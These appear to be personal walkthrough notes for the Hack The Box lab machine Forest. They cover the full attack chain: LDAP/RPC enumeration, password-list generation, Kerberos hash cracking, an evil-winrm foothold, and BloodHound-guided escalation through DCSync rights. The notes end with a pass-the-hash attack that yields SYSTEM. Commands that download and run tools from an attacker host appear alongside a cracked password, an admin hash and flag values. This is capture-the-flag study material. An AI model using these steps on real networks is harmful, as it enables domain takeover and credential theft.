search objectclass person

ldapsearch -h 10.10.10.161 -x -b "DC=htb, DC=local" '(objectclass=person)'


we got santi rodriguez


sAMAccountName: santi
sAMAccountType: 805306368



we can filter our ldapsearch to only output information that's important to us

lets filter our search down to sAMAccountName and sAMAccountType

extra username in rpcclient

rpclient domuser command shows us we're missing a user account!

rpcclient -U '' 10.10.10.161


by connecting the rpc client and issuing enumdomusers we see is an account we missed!






svc-alfesco

password spray user accts w/ custom password list

we want to save time and not use rockyou so we're going to make our own




we can add years to the list with a bashscript
for i in $(cat pwlist.txt); do echo $i; echo ${i}2019; echo ${i}2020; done



store the wordlist in a temp file t and mv it to pwlist.txt
for i in $(cat pwlist.txt); do echo $i; echo ${i}2019; echo ${i}2020; done > t

mv t pwlist.txt


it would be laughable if the password was in this list, but we can make the list much more complex with the help of hashcat

hashcat best64 rule

using the hashcat rule best64 will complexify our pwlist

hashcat --force --stdout pwlist.txt -r /usr/share/hashcat/rules/best64.rule



this mutates our original password list and does a lot of really cool things!

add !s / toggle1.rule

our list doesnt have any exclamation points so lets go back and generate a wordlist that has them

for i in $(cat pwlist); do echo $i; echo ${i}\!; done

cat t


copy our temp wordlist t to pwlist.txt




we can also chain rules like toggles to mix uppercase and lower case letters



after using these rules we have a total of 50000+ passwords we're going to use!

make passwords length 7 minimum

last we're going to ensure our passwords are at least 7 characters long

awk 'length($0) > 7' | wc -l


we see limiting our password list to have passwords to be at least 7 characters or greater has narrowed our list down from 50k to ~40k


output to t


and cp t pwlist.txt

crackmapexec

we can also do whats called a crackmapexec null authentication attempt
where we fille the username and password parameters with empty strings

it doesnt' work but it does allow domain enumeration (see child node)

important: thanks to null authentication enumeration we see that there is no account lockout and we're free to brute force

enum4linux

real ugly output so not going to bother pasting besides a few enumeration things we already found out

enum4linux 10.10.10.161


users

hashcat BF ticket

so we know the module is either 13100 or 18200

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --force



svc-alfresco
password = s3rvice

evil-winrm

now that we have the username and password we can use evil-winrm script to gain an initial foothold onto the box. This is only possible because the WinRM and WSMan services are open

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice


and we're in! we can grab the userflag

privesc

thanks to win-rm with svc-alfresco's credentials, we've gained an initial foothold on the box

we can issue net user /domain to confirm the AD accounts


and check out what type of user svc-alfresco is



from this info we see svc-alfresco is both a domain user and a service account:

sharphound

from here lets run sharphound to see if there are any exploitable paths to privesc




we're going to want to download and run this file to our victim box on our svc-alfresco account

1) set up http server



2) get the latest version of bloodhound since it is updated regularly



3) Download SharpHound.exe onto our victim machine and run it

(new-object system.net.webclient).downloadfile('http://10.10.14.62:5555/SharpHound.exe', 'C:\Users\svc-alfresco\Documents\SharpHound.exe')

encode/copy/paste files back to attack machine

we want to run on our attack machine

We need to transfer the ZIP file to our attack machine. To do that, base64 encode the file.



certutil -encode

Then output the base64 encoded file.


Copy it and base64 decode it on the attack machine.



Drag and drop the zipped file into BloodHound. Then set the start node to be the svc-alfresco user.

OR set up smb share between attack and victim machines

first we want to set up our smb server on our attacking machine, we'll use impacket's -smbserver to initialize it

impacket -smbserver PleaseSubscribe $(pwd) -smb2support -user ippsec -password SupportMeOnPatreon
where
name is PleaseSubscribe
$(PWD) shares the current directory
-smb2support
-user set to ippsec
-password set to SupportMeOnPatreon




from here we need to store these credentials in a variable on our victim machine
1. set our password to the variable $pass
$pass= convertto-securestring ‘SupportMeOnPatreon’ -AsPlainText -Force
2. now we create a cred variable and add our username and pass
$cred = New-Object System.Management.Automation.PSCredential('ippsec', $pass)
3. now we connect to our smbserver from our victim machine with this command
New-PSDrive -Name ippsec -PSProvider FileSystem -Credential $cred -Root \\10.10.14.62\PleaseSubscribe

and we're connected! impacket server shoots back this message:

bloodhound

now lets run bloodhound from our attacking machine and load in our report file extracted from our victim




now drag and drop our zip file into bloodhound





mark the user svc_alfresco as owned


and query shortest path from owned Principals

WritedACL Abuse info

we go over utilizing this abuse in the attackpath node:





(we also add -PrincipalIdentity <user> in this statement, more on this later)

Create a user on the domain

net user <user> <password> /add /domain


net user /domain

we see our account was created

Give the user DcSync privileges

Give the user DCSync privileges. We’ll use PowerView for this. First download Powerview and setup a python server in the directory it resides in.



(new-object system.net.webclient).downloadfile('http://10.10.14.62:5555/powerview.ps1', 'C:\Users\svc-alfresco\Documents\powerview.ps1')

Use the Add-DomainObjectAcl function in PowerView to give the user DCSync privileges.

$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\steve', $pass)


Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity steve -Rights DCSync

Add-DomainObjectAcl error

we see that the Add-DomainObjectAcl command is not recognized, lets see if the cmd is in our powerview.ps1 script



grep -i Add-Domain PowerView.ps1


no indication that Add-Domain is in our PowerView.ps1 script, lets download the dev version

Perform a Pass the Hash attack to get access to the administrator’s account

now to take the administrator's hash and pass it along with psexec.py

Administrator's NTLM hash is: aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

./psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161



and we get a nt authority\system shell!

user/root

e5e4e47ae7022664cda6eb013fb0d9ed


f048153f202bbb2f82622b04d79129cc

Lessons Learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/